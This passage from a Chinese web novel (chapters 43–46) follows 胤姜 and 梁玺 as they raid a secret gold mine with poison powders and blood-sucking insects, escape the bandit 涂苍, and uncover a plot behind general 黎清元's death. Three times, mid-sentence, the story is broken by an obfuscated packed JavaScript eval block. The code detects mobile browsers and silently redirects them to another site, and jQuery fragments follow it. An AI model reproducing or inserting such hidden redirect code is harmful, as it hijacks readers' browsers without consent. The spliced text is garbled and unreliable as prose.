说完,便径直割了挑夫的脖子。 胤姜挑眉看向梁玺,“这死亡现场,总得装饰一下吧。” 43. 有虫啊,吸血虫 梁玺眉头一皱,他并不认同胤姜的做法,现在杀了挑夫,并不是好时机。 胤姜却兀自说道,“草木皆兵,我们就要做这样一个现场,给他们造出来人很多的假象。 以我们一路来的见闻,邓氏铜矿中的人应该并没有渠道给这里的人传递消息,他们未必知道进入这里的只有我们两人。 既然如此,就方便我们浑水摸鱼了。唯有打草惊蛇,才能让这浑水动起来。” 梁玺却不赞同,“他们之间或许存在什么特殊的联络方式也不一定,说不定早就设好埋伏等着我们了,我们主动送上去,岂不是自投罗网?” “我明白你的顾虑,其实我也怀疑这山中另有密道,但是他们绝无可能和这里的人取得联络,因为在昨日我们离开山顶之际,我便去洞口处洒了点东西。” 这是胤姜留的后手,虽然庆安寨不富裕,但是架不住她三叔是个药痴啊,他痴迷于炼药,与那百钺族的离厌兴趣一致,胤姜手中还是有些好东西的。 胤姜确定,那些再从那洞口出来的人,绝对无一存活,至于传信,除非他们不走那条道,否则绝无可能传信, 而若用信鸽传信,胤姜笑了,信鸽招摇,若真飞在这片土地之上,也怕早被她打下来吃了。 她何尝不曾盯着飞禽走兽瞧,可是当真一个都没有啊,这几天,除了最开始遇见的那只狸猫,地上跑的没有,天上飞的,什么也没有! 这座山林,死气沉沉,全无生机。 梁玺明白胤姜定是暗中做了手脚,若她当真切断了两方之间的联系,那他们的确可以假造人多势众的样子, 但是这终究不是长久之计,他们就算搞清楚了这里的人在做什么,也没有办法出去,硬来是不可取的。 “你在想怎么出去?如今之计,也只有走一步算一步了,反正再糟,也不会比现在更糟。” 胤姜神色平静,她并不是病急乱投医,恰恰相反,对方虚实难定,他们难以摸清底细, 可是他们也没有时间去守株待兔了,他们已经两天没好好吃过一顿饭了。 他们的体力在逐渐消耗,对方在此地安排的人手怎么也得有二三十人,他们耗不起。 梁玺终究妥协,帮着胤姜布置现场,刻意伪饰脚印,踩踏草丛,又留下诸多生活痕迹, 比如不慎留下的瓶瓶罐罐,又比如生火的痕迹,也做了好几个篝火堆。 夜幕降临,果然如挑夫所料,那村落里的人开始来寻找他的踪迹了。 胤姜和梁玺二人躲藏在远远的半坡,虽看得不真切,细数人头下来,竟也有十六人,这还只是来寻找挑夫的人,村子里还剩多少? 因着夜色渐深,那村庄中也渐渐点起烛火,胤姜望着那村中灯火绰绰,一时有些愣神。 寻找挑夫的人如他们的预期那般找到了挑夫的尸体,发现了他们刻意留下的痕迹,不多久就带着挑夫的尸体打道回府。 “他们的人数远超想象啊。”胤姜叹了一句。 梁玺抿唇,之前他发过信号烟,然而迄今为止,他都不曾见到属下的回烟,这说明,他们都还不在这方圆十里之内。 梁玺又摸索起身上带的药,实在不行,或许勉勉强强,也能对付三十人? “你还有多少药?”梁玺看向胤姜,他想,她应该也有后手。 胤姜沉吟,“对付二十几人够了,实在不行,我还有刀。”胤姜摸着腰间别着的刀。 如此,也不是山穷水尽。 二人略一打算,决定还是如当夜探邓氏铜矿那样硬闯。 月明星稀,杀人防火,好时候。 二人皆认为,村中人初初发现山里来了一伙来路不明的人,肯定会加强戒备,但是时间尚短,准备不一定齐全,村里人也一定想不到,他们二人会今夜就动手。 胤姜和梁玺远远跟在回村的队伍身后,目送他们一行人过了村口守卫的眼,守卫复又懈怠下来, 二人趁着这时机,踩好地点,隐藏于树后,胤姜用自制的弹弓瞄准守卫眉心,取几粒石子,只听“嗖嗖——”几声,几个守卫应声而倒。 此处没有设置哨塔,倒是方便了她二人。 胤姜多备了些石子,二人借着夜色赶忙进了村庄,恰好听见前面传来声音,原来是来换班的守卫,这可真是不凑巧! 二人为避开他们,只得躲进一旁的草垛中,草垛不大,二人堪堪挤在一起,遮掩身形。 躲过这行人,只怕他们进来的消息就瞒不住了,胤姜心一横,从怀中拿出一个白色瓷瓶,倾斜放置于地上,从那瓷瓶中缓缓爬出来几条肥硕的虫子,正在扭动着。 梁玺神色一变,拉住胤姜的右臂,“你怎么会有这种东西?” 胤姜将瓷瓶盖好,并未回答梁玺,又拿出一粉色瓷瓶,趁队伍走向村门口之际,跟在其后洒出了淡黄色的药粉末, 那几条小虫似受了刺激一般,迅速蛹动着身躯,朝药粉落地处爬去。 胤姜这才罢手,“我们快走吧。”过会儿的场面可不好看。 梁玺虽被胤姜拉着走,却不罢休,“你还没回答我。” 胤姜回以淡笑,“又不是只有你洛公子才买得到名贵药物,雪娘不才,常年开酒馆,也学会了些江湖手段,自保或杀人,都可。” 梁玺许久才吐出两个字,“是吗?” 梁玺想,她之前在洞口放的只怕也是这东西,这小虫子看起来人畜无害,可是却是以鲜血为食, 那淡黄色药粉能够刺激它们的嗜血性,以它们的贪食度,只怕会把那些人活活吸血而死。 这可不是一般的江湖手段! 这种禁药,早已经被朝廷明令禁止了,或许一些江湖的黑市上有卖,但是,一个开酒馆的老板娘,真的需要这些吗? 又或者说,一个土匪,需要这些什么吗? 无论哪种身份,都不应该用到这种禁药才对。 黑市就算要售买,价格也定然被叫上天去了,她怎么会得到? 梁玺当然不知道,胤姜的三叔——齐邈,实际就是这禁药的发明者,出自他手上的药不计其数,也有不少被人利用成为了禁药,而他本人也被朝廷通缉。 齐邈成日东躲西藏,最终在逃到兖州地界儿的时候,被胤姜的父亲胤敞搭救了, 胤敞不仅给了齐邈安稳的炼药之地,也不制止他炼药,只是实验对象,只能是那些动物。 庆安寨卧虎藏龙,不止有安分守己的百姓,也有不少官府追缉榜上的人,而齐邈就是庆安寨追缉榜上排头号的人物。 医者,无论在什么时候都是稀缺的,对一个隐匿于深山的匪寨,更是如此。 能被逼上梁山的大夫,大多不会有什么美好的品性。 因为,大夫这个行当本身有的利他性,天生决定了大多数人不会去得罪他们。 胤姜曾经问过胤敞,为何要收留齐邈,万一,他对寨子不利呢? 胤敞当时这样回答胤姜,“他是个痴人,只想寻找药道的奥秘,对俗世不感兴趣,这种人难免剑走偏锋,为世所不容, 他在外多年,应该明白,庆安寨或许是为数不多能容得下他这种人的地方。” 二人躲藏间已经行至中途,胤姜沿途洒下些淡黄色药粉,一条蛊虫已然足够令人头大,她可是足足放出来五条。 梁玺没阻止,只是他对胤姜的身份愈发起疑,土匪当真需要接触这些东西吗? 在梁玺的眼里,胤姜已经足够偏离他对土匪的想象,照理来说,土匪该是大字不识一个的粗鄙之人吧,该是只会玩刀弄枪、心狠手辣的武夫吧, 难道是因为她是女子,所以杀人手段显得格外迂回,需要用到毒药? 可是,她刀法也十分不错啊。 梁玺越想,却怀疑他之前是不是猜错了,眼前这人,是不是有人精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12689276|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心培养的细作还是杀手?但是又为何在他面前不加遮掩? 辗转行走间,二人来到了一处有守卫的地方,约有四五人撑着火把,披坚执锐。 胤姜瞧清楚守卫背后的地方后,不禁问出声,“我怎么瞧着,这像是矿洞啊?” 梁玺也有此疑问,前方搭着一个大棚子,并没有修建什么屋舍楼宇,反而只有一道拱起的弧度,看样子像是用泥土铸成,中间留有两人大小的口子。 这实在是像极了他们进的邓氏矿洞啊。 此时,正好从那洞口上来了几个人,个个打着赤膊,身上的衣衫都已经乌黑了,抬上来的是一个背篼,里面装着什么暂时看不清楚。 门口的几个守卫拿起那背篼中的物件检查,胤姜和梁玺瞧得分明,那东西在火把照耀下,金光熠熠! 原来,这里就是金矿!他们在这里采金子!!! 这地方果真隐蔽,他们竟然在这里发现了金子! 二人此时才恍然大悟,邓氏铜矿中确实没有金矿,因为金矿在此处,但是他们要运走金子,就需要邓氏铜矿做掩护。 望着这矿洞,胤姜心中隐隐有一个猜想,四年前的铜矿坍塌,会不会就是与此有关? 毕竟是金子,来往之间难免人多眼杂,所以才痛下杀手,那邓波也是因此而死吗? “两位,来了这么久了,也该和我打个招呼了吧?” 二人身后传来一道略带调侃的声音。 胤姜和梁玺对视一眼,淡定转身,二人皆认出,眼前人便是涂苍,消失不见的涂苍。 涂苍长着一双攻击性十足的鹰眼,他看见二人的长相之后,便认出了他们的身份。 “洛公子,贺小姐,你们二位哪里来的雅兴,跑到我这山疙瘩来游山玩水,尤其是贺小姐,令尊知道吗? 想来令尊是不会计较贺小姐一时顽劣,跑到我这里来玩的,只是在下被擅闯住所,有些不太开心呢。” 涂苍说着笑起来,但是他大底没学过怎么笑好看,他将嘴角勾起,一副皮笑肉不笑的模样,眼神却锁定了他的两个猎物。 涂苍是不会轻易放过他们两个的。 胤姜却没有上套,按照道理她二人和涂苍素不相识,根本不应该认识他,涂苍在当贺宅的侍卫的时候见过他们两个当然说得过去,但是他们可没见过他啊。 在杀死净空和尚的那场晚宴里,涂苍从头到尾都没有出现过。 所以胤姜故作无知,说道,“你怎么会知道我们的身份? 不过既然你知道我们的身份,就请赶快将我们送回去,我们在山中走失两天了,父亲该担心我们了,你放心,你做的事父亲都看在眼里,父亲一定有重谢。” 胤姜咬重“重谢”二字,涂苍眼神闪闪,感情这二人是那老东西派来的,看来是不放心他啊,呵呵, 把自己的女儿和女儿的小情人派人监视他,也不知道那老东西是不是年纪上去了,昏聩了? 胤姜披着贺怀雪的皮,此时也坦然借着贺含章的声势狐假虎威。 本来她还在猜测,这金矿是谁在管,现在涂苍主动跳出来,她可不得好好周旋周旋? 涂苍摇头,“夜深了,贺小姐还是在这里休息吧,若要离去,怎么也得挑个白天吧。” 明天吧,风和日丽,适合上路。 涂苍的眼神下意识扫向胤姜的脖颈,纤长白嫩,看上去掐一下就会断呢。 真是心狠的小妮子,放了几条虫就想把门口那群无能的家伙咬死。 可惜,遇上他了呢,这种小虫子,不值一提。 就涂苍个人而言,他是不相信贺含章会派一个生人来和他交接的,哪怕那个人是他的女儿,何况,新回来的这个人,还不一定是他的女儿。 那老东西,尚且都不让他的儿子们沾染此事,怎么会派一个刚回家的女儿来? 他倒要看看,这两人想玩什么把戏! 44. 归程 胤姜和梁玺被安置在涂苍住所隔壁,二人观察一路来的环境,的确修饰得如富贵人家一般,哪里似山中应有。 涂苍临进房间前,故作戏谑道,“两位一间房,不冒犯吧?毕竟之前在贺宅,也是如此。” 胤姜佯装生气,“你!放肆!” 涂苍又说道,“冒犯也没办法,只有这一间房了,两位委屈一下,不过一夜而已。” 涂苍说着,脚又迈进房门一步,胤姜喊住他,“等等,给我们弄些吃食来,这几日都没吃好,小面也行。” 涂苍转头看向他身后跟着他的几个侍从,其中一个侍从领会告退,涂苍转向胤姜说道,“如此,我可以进去了吧,两位贵客奔波多时,也是该好好休息了。” 涂苍方跨进门槛一步,又回头,好似好心提醒一般问道,“你们的随从需要好好休息一下吗?山中湿气重,尤其是大晚上,吃也吃不好,睡也睡不好,把他们唤进来吧。” 胤姜还没说话,梁玺先回绝了,“不过一个晚上,没什么大碍,还是这位管事觉得我们背地里有做什么手脚? 说来奇怪,我二人突然到来,多有冒犯,管事没有指责,竟还对我二人奉若上宾,可惜我们到现在都不知道该称呼管事你什么,管事可方便告知一二? 管事既然知道小姐的身份,也该知道你们在这里做的事情是不为大人所容的,但是也有解决之法嘛,若是奉上给大人,大人定是十分欢喜的, 到时候,莫说管事,便是管事手下这一干兄弟,何愁不能荣华富贵?” 梁玺此话,表明有三,一是抛橄榄枝,他们并不知道涂苍的身份,更不知道涂苍和贺含章的关系,他们发现此处有金矿也是误打误撞, 私开金矿是死罪,若涂苍愿意放他们回去,他们也会投之木桃,会尽力说服贺含章给予他们重用,而不追究他们的刑责。 二是威胁,他们在外面还有仆从,涂苍目前找不到他们,若是他二人命丧于此,他们那些仆从定不会善罢甘休,到时候闹大了,谁也不会好受。 其三,却又是另外一重含义,胤姜明白梁玺所想,他之前两重含义都是为了遮掩,虽然她二人什么都知道,比如这金矿其实是涂苍受贺含章之命看守,比如他们没有多余的仆从跟随, 但这都是为了切实表明,他们二人什么内情都不知道,这就是他们不知情的时候该对对方说的话。 涂苍眼神闪闪,误打误撞进来的吗?怎么个误打误撞法,才能到这么个大山里来? 他是很想相信呐,但是这山,他可太熟了,隐匿于云雾山深处,寻常人根本不会涉足,常人,一见到这连绵百丈的山脉,就已经臣服,哪里来的胆子进山! “鄙人姓涂,单名一个苍字,贺小姐,可耳熟?这里可不是什么金窝窝,这里是我黑崖寨的副寨,贺小姐,你不该来啊。” 涂苍侃侃道来,盯着胤姜一眨不眨,满意的看见女子脸色变得煞白,涂苍起了作弄的心思,继续说道,“贺小姐啊,你为何非要做个明白鬼呢, 今夜吃了饭好好睡一觉,和情郎再诉诉衷肠,明天上路不是很好吗?怎么非得问个清楚明白呢?” 涂苍的话清楚明白,他是土匪,不稀罕贺含章的赏赐。 梁玺扶住胤姜,心想这假身份是没用了,涂苍和贺含章到底是什么关系,看起来他并没有太听命于他啊,而涂苍若真杀了他们,只怕也没人知道。 “要杀要剐,你且做吧!装什么好心。”梁玺却是不再想进屋了。 胤姜装得被涂苍名号吓到的模样,实际手偷偷在摸着梁玺的腰间,她知道他放了不少药,他们二人挨得近,梁玺又是宽袍广袖,恰好能遮住她的动作。 胤姜摸着几个物件儿,却也不知什么效用,只能洒洒看。说时迟那时快,胤姜当即扯下药塞,齐齐朝涂苍泼去。 黄粉,绿粉,白粉,红粉,全部都混在一起,也不知是哪个瓶罐的药粉,竟然是迷烟,胤姜二人刚好趁着一片白雾朦胧躲过追兵离开。 二人一路跑着,却正好撞上了给他们端来小面的侍从,相视一愣,胤姜抽出刀刃速战速决,又仓促间再次逃到村口,却见那几个守卫完好无损,而虫子却已然躺尸不动。 竟是从一开始,他们就已经被识破了吗?胤姜心中只有这个想法。 只有涂苍一开始就出手杀死了这些虫子,才有可能造成现在这样的局面,他们竟然,一开始就暴露了,何时呢? 莫非是他们二人尾随在那队伍中的时候,就已经被发现了吗? 那涂苍知道,他们只有两人吗? 大底也是瞒不住。 胤姜心中沉沉。 好不容易二人找到个休息的地方,又见涂苍并未带人追来,二人缓了口气。 “他未必是不信贺含章,多半是不信你我,想来他们两方交接,有所要求。”梁玺说道。 胤姜认可,“如今是回不去了,又已经赤诚相见,不若我们再开门见山?但涂苍多疑,只怕他根本不会相信贺含章会派我来。” “他们究竟是用什么法子下的山? 我们这一路行走而来,并不曾见过人生活的痕迹,而且就算加急赶路也得一天才能从山上下来,痕迹也不至于这么快就消失了。 从山上到这里,一定有暗道。”梁玺回想起那日所见的狸猫,那山林诡异,说不准密道就在那边,真是大意,他们或许该深入那里才是。 胤姜沉默半晌,“从邓氏铜矿那里,回去吗? 我们已经知道他们的藏身地了,也知道他们在干什么了,而我们又丢失在铜矿里,若有人来找我们,只怕也只会等在铜矿那里。” 回去,好似无疑是一条比较简单的路了,只是回程的艰险肃杀,不比这里少。 “那回吧。”梁玺落下一句话,二人开始了回程之旅, 胤姜沿途做了些记号,却也还是在山中打转了好几次,但凭着之前的记忆和经验,二人终于还是走回了山顶。 他们到的那天恰好是贺含章接到急件的前两天,或许天可怜,原来铜矿来了追兵,追兵们打通了那堵墙, 却一出来就被那嗜血的虫子盯上了,此时他们躺在这里,却也只是一堆干尸而已。 胤姜瞧着四周的血迹,根据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12705191|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血迹凝固的程度猜测,他们死了应该不到一天,而这墙还没彻底封死, 二人寻摸了追兵带的糕点,吃了些果腹,感觉体力终于是回来了,才坦然从那墙中进去了。 正是大白天,还有不少矿工在矿中劳作,他们在劳作之余,瞧见了胤姜二人,也视若无睹,继续埋头干他们的活计。 胤姜二人逐渐感觉呼吸通畅不少,应该是快要出洞口了,看来又是一场硬仗。 跟他们二人预想的不太一样,门口没有守卫,甚至四周都空荡荡的,静得有些诡异。 二人不明所以,倒是没有轻举妄动,胤姜发挥内力感知四周,却也没察觉到什么格外的气息,胤姜望向梁玺,心中却想,这家伙,果然没有武功吗? 梁玺却从怀中拿出一枚信号烟,眼神询问胤姜,是否现在放?若是现在放,就要做好开打的准备,他只能确定,他的属下在周围。 胤姜点头,四周无人,甚是诡异,说不定可以把那些人惊出来。 一簇火红的烽火直冲云霄,哪怕青天白日,也能清晰看见其绽放又消逝的轮廓。 忽闻一阵脚步声逼近,胤姜握紧手中刀刃,与梁玺隐身藏于矿洞外一石岩处,一行黑衣队伍出现在二人眼前,所幸尚且背对着他们,黑衣人散开四处搜寻。 就在这电光火石间,梁玺窥见了一黑衣人的侧脸,他忽而心中石落地,拉着胤姜的手便出现在人前,“商剑。” 被梁玺喊到的人转身,一张脸生得倒是平平无奇,浑身气质却格外肃杀,较之商白尤甚。 商剑见到梁玺,当即跪地,一众黑衣人俱是,“主子。” “你们既然在这里,那邓氏铜矿的其他人呢?”梁玺问道,用手微扶,示意他们起身。 “已经被属下迷晕了,属下与主子失去联络三日,心中十分忧虑,故而做好打算,在送给他们的食物中掺了迷药,万幸今日得见主子。”商剑说道。 胤姜想,这还真是凑了巧了,他们出来刚好遇见梁玺的下属来找他。 “不能如此离去,趁着钦差还在兖州,咱们得送他一份大礼才是。”胤姜说道。 这也就有了两日后送达贺含章的急件。 贺含章领着沈钦差风风火火来到了三水镇,那信中急件说,找到了云雾山残余土匪的藏身地,就在三水镇内,但是具体位置报案人说要见到钦差再说。 商剑伪装成的报案人,一副矿工打扮,看起来畏畏缩缩,见到沈岩,噗通就跪下,“大人,求大人做主啊,那邓氏铜矿,要逼死人啊!” 沈岩一听,来了兴趣,升堂问案,惊堂木一拍,“堂下何人,所告何事?之前报称发现土匪一事,可是虚报?从实招来!” 商白做跪伏状,哭得一把鼻涕一把泪,自言他本是被邓氏铜矿招募的黑工,因着意外发现铜矿内有条密道,他一时好奇,闯了进去, 没想到遇到了云雾山的土匪,他又仓皇逃窜,侥幸才逃过一劫! 他吓得屁滚尿流,却一点不敢耽误,趁着铜矿的人没注意赶紧跑了,跑到县衙,却是一句多余的话不敢说,就等着钦差大人替他做主呢! 45. 真相浮现 沈岩一听,兴致盎然的便带着一众衙役朝邓氏铜矿而去。 商剑紧随其后,再到了邓氏后,没想到邓绥也侯在这儿,怎样一番纠缠暂且不提, 在商剑声泪俱下的控诉中,沈岩一行人去到了胤姜他们走过的矿洞,沿着那矿道遇见了一堵死墙。 沈岩自是不依,叫人撬开了那堵墙,却一进去就发现了被捆住的二十几个土匪,邓绥此时上前,绘声绘色述说着他们捉住这伙土匪的来龙去脉。 沈岩神色不变,面上八风不动,听完邓绥的叙述后,不仅对邓绥夸赞一番,还绑着那伙土匪打道回府。 胤姜此时已经回到了淮安,其实她本来也没打算能够一击即中,她和梁玺已经打草惊蛇,不管他们动作多快,邓绥和贺含章动作只会更快, 所以他们选择,把贺含章一行的密道暴露出来,至少日后贺含章他们行事就会小心隐蔽很多,毕竟这么多双眼睛都看着呢。 至于她和梁玺闯进那座山的事情该怎么向贺含章解释,胤姜笑笑,他们可是对内情丝毫不知,一门心思都是为了贺含章好啊。 胤姜是这样向贺含章邀功的,“父亲,那矿工乃是女儿安排的,洛公子去运那趟货,回来告诉女儿刘玄和邓氏似乎有勾连,女儿担心这俩贼子欺瞒于你, 便决定和洛公子一起去私下查看,没想到还真让女儿发现了那条密道,更可气的是,他们瞒着官府私开金矿,窝藏土匪,还想将金矿据为己有! 简直岂有此理,女儿不欲父亲担忧,和洛公子一商议,决心给他们个好看! 不错,那矿工就是女儿安排的,敲山震虎,女儿想,他们知道该怎么做了,父亲,到时候我们将金矿握在自己手里,也刚好可以瞒过那沈钦差, 女儿料想,那刘家和邓家绝计不敢有任何怨言。” 胤姜不知贺含章心中作何想法,反正,那时的贺含章面带微笑,貌似很慈爱的看着她,“你长大了,出息了,为父放心了。” 胤姜自然不甘心就这样气一下贺含章,她再接再厉,“父亲,女儿还有一计,如今云雾山的土匪也被抓得差不多了,女儿想邓家和土匪素来有勾连, 说不定可以再诈一诈他们,威逼利诱,让他们将土匪的踪迹泄露出来,到时候我们顺藤摸瓜,找到赈灾银,何尝不是大功一件! 邓家和刘家还尚可利用,但是清除匪患,却是迫在眉睫, 父亲,觉得女儿这计策如何?” 贺含章笑着,嘴角弧度都凝固了,牙也似乎咬碎了,“好得很!” 胤姜佯装不懂其中含义,只当做对她的夸奖,笑得开怀,“为父亲分忧,是女儿应该做的,父亲日后有需要女儿分忧的,女儿也将不辞辛劳。” 胤姜离开之后,贺含章狠狠瘪下嘴角,直接将纸笔从书案上推下去,“蠢货!” 也不知骂的是谁。 苏灼在淮安新置了间宅子,胤姜回到宅子后,苏灼不久也回来了,倒是告诉她了一个好消息。 胤姜凝眉,苏灼娓娓道来,原来苏灼和李复一直盯着泰极商行,之前都风平浪静,除了有邓氏的人,总在似有似无的接近泰极商行的人以外。 苏灼和李复密切跟踪着和邓氏、刘氏接触的泰极商行一干人等,终于让他们守到了——这几天他们私下里接触更为频繁,似乎筹谋不小。 不仅如此,还似乎夹带了不少东西到泰极商行里面去。 苏灼称,他和李复夜里前去查探过,着实找到了不少烫手的东西。 胤姜看向苏灼,苏灼坦然一笑,“阿月,你放心吧,那些东西我早就已经拿出来了,不会伤害到你的洛公子分毫。” 胤姜却是摇头,“四叔,我并不担心你会这样做,我只是好奇,如今你对我和他合作,不再反对了吗?” 苏灼笑着叹口气,“官匪殊途,我还是那句话,但是目前还没撕破脸,我又何必见死不救呢?多卖他一个人情,说不定日后有用。 你可得好好邀功才是,日后说不得要他放我们一马。” 胤姜问,“四叔,此言何意?”她不觉得苏灼是拈酸吃醋之人,何况他们两个,早就没有暧昧了。 苏灼一定心神,与胤姜分析道,“阿月,沈岩这段时日,下得最多的命令就是除匪,你明白吗?他和沈岩是一伙的,沈岩之意,未必不是他之意。 这也是为什么一上报邓氏铜矿有可能与云雾山的土匪有勾连,沈岩和贺含章就大张旗鼓的朝三水镇去的原因。 找赈灾银是其一,但是朝廷,可能已经忍不下云雾山上匪寨的存在了。” 胤姜沉默,这一计,还是梁玺改良的,他说,用土匪引沈岩来,却原来,背地里,是这个打算吗? “赈灾银,还是不知所踪,我们在邓氏铜矿那边的深山里,发现了金矿,想来是贺含章私采金矿,我老是觉得很奇怪,赈灾银失踪,从头到尾都很奇怪。” 胤姜跳过那一话茬,对苏灼说道。 苏灼眼神闪闪,不再多言,接着胤姜的话茬说道,“他们应该不是求财,有金矿在,劫赈灾银根本无异于锦上添花。 金矿能取出来多少暂不知道,但是这本身是朝廷所不知道的,无论他们怎么用,也不会引人注意。 反而是赈灾银,说来二十万两白银,却实在引人瞩目,何必多此一举呢?” 胤姜垂眸,“不是求财,是求什么呢?” 赈灾银失踪,押送赈灾银的官兵全军覆没,朝廷再次下派钦差来查银子,还有那诡异出现的七八百位所谓的劫银士兵,现在的金矿,十五年前的赈灾银, 银子倒是越来越多了,但是,怎么回事呢? 胤姜忽而遍体生寒,不是求财,是为杀人呢? 她之前还曾经十分惋惜于灵风将军黎清元没有马革裹尸,而是死于贼人之手,可是他一个大将军,怎么会被派来小小的兖州呢? “为什么会派黎清元来此赈灾?”胤姜不由得问道。 苏灼被胤姜一问,倒似被提醒了什么一样,黎清元,黎家,武将门第,十大世家排第三,黎家发家于南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12714368|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方,之前也是一向与南越国打交道。 是呀,为什么押送赈灾银这样的事情,会交给黎清元呢? 黎清元年岁尚轻,算是黎家这一辈中的佼佼者,黎家举家定居于雍京,而黎清元毫无疑问,自与南越一战扬名后,就任职于京中禁卫,护的是天子王驾。 赈灾银再重要,怎么出动了他? 杀鸡焉用牛刀?! 梁玺这厢,放飞了雪白色的信鸽,信鸽扑哧着翅膀,悠悠向北飞去。 梁玺呆坐书桌前,不知怎地想到了他那死去的好友黎清元。 他们两个不算对付,梁氏一族多出文臣,险些叛出家族的他的父亲梁弛却是一个意外。 黎家镇守南方,挟威势以震南越。 梁弛投奔的却也是黎家,倒也不为其他,只因他的武师傅是黎家人。 在梁弛、姬灵歌、他和妹妹一家四口团聚的地方,也就是黎家的大本营,勉强算是度过了一段称得上和睦的时光。 黎清元自幼在军营中打滚,但非家中嫡长子,只是其武学才干逐渐超越家族其他子弟,长辈也越发看重他。 黎清元却始终不骄不躁,沉稳有余,丝毫不轻率鲁莽。 他们开始只算泛泛之交,士族之间,泛泛之交,何其正常。 友谊的加深,却也简单,他们都被选中陪王伴驾,去那巍峨的天子宫阙。 皇权富贵迷人眼,故交旧友不谈心。 他和黎清元,反倒是因着那一点同乡之谊,在深宫中互相扶持,替对方挡过不少明枪暗箭,也曾于月下饮酒谈心,才渐渐视彼此为至交。 黎清元,本来是不该被派来兖州的。 梁玺眼神冷了一分,若不是因为他,若不是因为圣上,若不是因为黎清元是帝党,黎清元或许还活着, 无论是活在深宫中,做位高权重的新臣,还是活在战场上,做无往不胜的先锋。 他不该死在这里,不该死在人心算计中,不该死得这样默默无闻。 他本该有大好的未来,还有,两情相许的未婚妻。 梁玺记得,惊闻黎清元死讯那日,他正陪侍在天子身边,宦官奉太后旨意,送来一批又一批选秀的秀女画册和名单信息。 太后身边的大太监就在一旁等候着,已经弱冠的天子被朝臣的劝谏和太后的孝道所捆绑着,正在其中挣扎不得,想尽方法推脱选秀。 天子的内心是害怕的,梁玺知道。 宫中有传闻,天子非太后亲生子,而是先帝宠妃之子,天子起初也是不信的,可是随着他年纪越大,太后却仍然不放权,天子的坚信也开始动摇了。 他害怕,太后把持朝政,欲借选秀,去父留子。 天子的担心也是帝党的担心。 恰逢渭水再决,黎清元主动请缨,意图借着去兖州押送赈灾银,暗中拔除后党党羽。 谁曾想,功业未竟,还死得不明不白。 梁玺神色微动,兖州,贺含章,是早有准备啊,劫赈灾银是假,杀黎清元是真。 46. 战备状态 “对了,你说邓氏想往泰极商行里面放东西,是放的什么东西?”胤姜问道。 苏灼神色微深,眼中似闪烁着某种癫狂,“贡品。” 胤姜闻言一愣,贡品? 历来大梁下属州县都有进贡的习惯,逢年过节,都会选择当地有特色的东西作为贡品上贡,贡品不止限于金银器物,丝织绣品、琴棋书画等等皆可作为贡品。 胤姜恍惚记得,在多年以前,兖州的确丢失过贡品,而当时的知府更因为担上不敬皇族之罪被罢免,当然这还算是轻的,不过那位知府为证清白,最后竟选择了悬梁自尽。 “当年不翼而飞的贡品,竟然出现了?”胤姜好奇,“稀奇啊,如今个儿是怎么回事,邓家想要做什么?拿洛朽今的把柄吗?” 苏灼嘴角勾起,“重要的不是他们想做什么,而是他们做了什么。当年这事,邓家可不清白。” “邓家的人是怎么混进去偷换贡品的呢?这件事说不清楚,也无法与他们扯上关联。”胤姜看着苏灼,好意提醒道。 她是个掌控欲强的女人,苏灼的过去,也曾经是她好奇的,不过,可能就是因为这旺盛的好奇心,所以让他却步了吧? 在和苏灼的这段感情中,让胤姜明白最多的就是,空间,给对方退或者进的空间,也是给自己留余地。 她曾经以为两情相悦需要知根知底,需要毫无隐瞒,后来她明白,这是不可能的,再如何亲密的两个人之间,都要留有余地。 所以这次,她和洛朽今,她并没有步步紧逼,对方也没有,他们之间的余地很足,他们的未来,也是个迷。 胤姜彻底地专心于现实,立足于现在,不去思考她或者他的过去,也不再思考他们之间的未来。 有时候,这种想法,也不知是好,还是坏。 胤姜隐隐地知道,苏灼的身世,或许和当时的知府有关,但是她也不确定,因为据说,那位知府的妻儿全都死在了回乡的船上。 谁让发大水了呢? 天灾人祸,防不胜防。 苏灼听出胤姜话中的劝意,却并没有放在心上,他慌什么,他不慌,他等了又等,找了又找,习惯了行走于光明于黑暗之间,他早就学会做一个耐心的猎人了。 他会慢慢等他的猎物露出马脚,一点点步入圈套,然后将他们拆吞入腹,片甲不留。 胤姜正和苏灼说着话,却听苏宅之外传来敲门声,苏灼上去打开了门,却是一个好久不见的熟人。 “闵公子,你来这儿是?”胤姜询问道。 闵一水面带歉意,他本就生得清秀,此时耳朵微红,看着胤姜,略不好意思,“雪娘子,打扰了,我有些事情想和你聊聊。” 苏灼挑眉,倒是也避让了,不过他特意端来一壶茶,给二人掺了些,“你们慢慢聊。” 苏灼复又出门,胤姜微笑看着闵一水,“闵公子,这里没有外人了,你想与我说什么?” 